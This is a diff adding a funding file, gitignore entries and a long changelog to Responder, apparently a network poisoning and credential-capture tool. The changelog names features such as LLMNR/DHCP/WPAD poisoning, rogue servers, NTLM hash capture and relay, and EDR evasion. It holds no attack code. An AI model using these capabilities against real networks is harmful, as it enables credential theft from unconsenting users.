diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..a3773ad --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,2 @@ +github: lgandx +custom: 'https://paypal.me/PythonResponder' diff --git a/.gitignore b/.gitignore index 4f18a99..238411b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,11 @@ +# Python artifacts +*.pyc + # Responder logs *.db *.txt *.log +# Generated certificates and keys +certs/*.crt +certs/*.key diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..755e6a5 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,713 @@ + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). + + +## Unreleased + +[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD) + +### Added + +- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s). +- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf). +- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx). + +### Fixed + +- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx). +- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx). +- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx). + +### Removed + +- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx). +- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx). + + +## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04 + +[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0) + +### Added + +- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide). +- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx). +- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier). +- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin). +- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin). +- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx). +- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx). +- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx). +- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb). + +### Fixed + +- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx). +- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide). +- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide). +- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx). +- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide). +- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks). +- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown). +- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown). +- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero). +- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx). +- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx). + +### Removed + +- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx). +- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx). +- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx). +- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx). +- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx). + +## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26 + +[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0) + +### Fixed + +- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx). +- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon). +- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist). + +### Removed + +- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx). +- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx). + +## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12 + +[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0) + +### Added + +- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx). + +### Fixed + +- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov). + +## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17 + +[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0) + +### Added + +- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx). +- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx). +- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx). +- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx). +- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx). + +### Removed + +- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx). + +## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10 + +[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0) + +### Added + +- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx). +- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx). + +### Fixed + +- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx). + +### Removed + +- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx). + +## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03 + +[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0) + +### Added + +- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx). +- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx). +- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx). +- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx). + +### Fixed + +- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx). +- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx). + +### Removed + +- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx). +- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx). +- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx). +- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx). + +## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26 + +[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0) + +### Added + +- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx). +- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis). +- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis). +- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis). + +### Fixed + +- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx). + +## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19 + +[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0) + +### Added + +- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx). + +## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17 + +[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0) + +### Added + +- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx). + +### Removed + +- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx). + +## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12 + +[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0) + +### Added + +- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx). +- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx). +- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx). +- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx). +- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx). + +### Removed + +- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx). +- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx). +- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx). +- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx). +- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx). + +## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08 + +[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0) + +### Added + +- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx). +- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx). + +### Fixed + +- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan). +- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers). +- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark). + +## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28 + +[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0) + +### Fixed + +- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx). + +## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19 + +[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0) + +### Added + +- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam). + +### Fixed + +- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun). + +## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09 + +[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0) + +### Added + +- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx). + +## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17 + +[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0) + +### Added + +- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx). +- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A). + +### Fixed + +- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon). +- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx). +- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin). +- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin). +- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena). + +### Removed + +- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx). + +## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20 + +[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9) + +### Added + +- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx). +- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT). +- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx). + +## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05 + +[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8) + +### Changed + +- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx). + +## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05 + +[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7) + +### Added + +- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly). +- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley). +- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx). + +### Fixed + +- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx). +- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404). +- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos). + +## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29 + +[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6) + +### Fixed + +- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx). + +### Removed + +- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx). + +## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18 + +[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5) + +## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18 + +[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4) + +### Added + +- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx). +- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko). + +### Fixed + +- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx). +- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts). +- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos). + +## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03 + +[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3) + +### Added + +- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx). + +## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03 + +[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2) + +### Added + +- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx). +- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx). +- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx). +- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx). + +### Removed + +- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx). + +## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18 + +[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1) + +### Added + +- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx). + +### Fixed + +- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx). + +## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12 + +[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0) + +### Added + +- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx). + +### Fixed + +- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx). +- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx). +- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx). + +### Changed + +- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx). + +## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06 + +[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8) + +### Added + +- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx). + +## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05 + +[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7) + +### Added + +- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx). + +### Fixed + +- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx). + +## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05 + +[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6) + +## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03 + +[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5) + +### Added + +- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx). +- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx). + +### Removed + +- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx). + +## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12 + +[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4) + +## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12 + +[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3) + +### Added + +- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx). + +## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12 + +[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2) + +### Added + +- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx). +- Added option -e, specify an external IP address to redirect poisoned 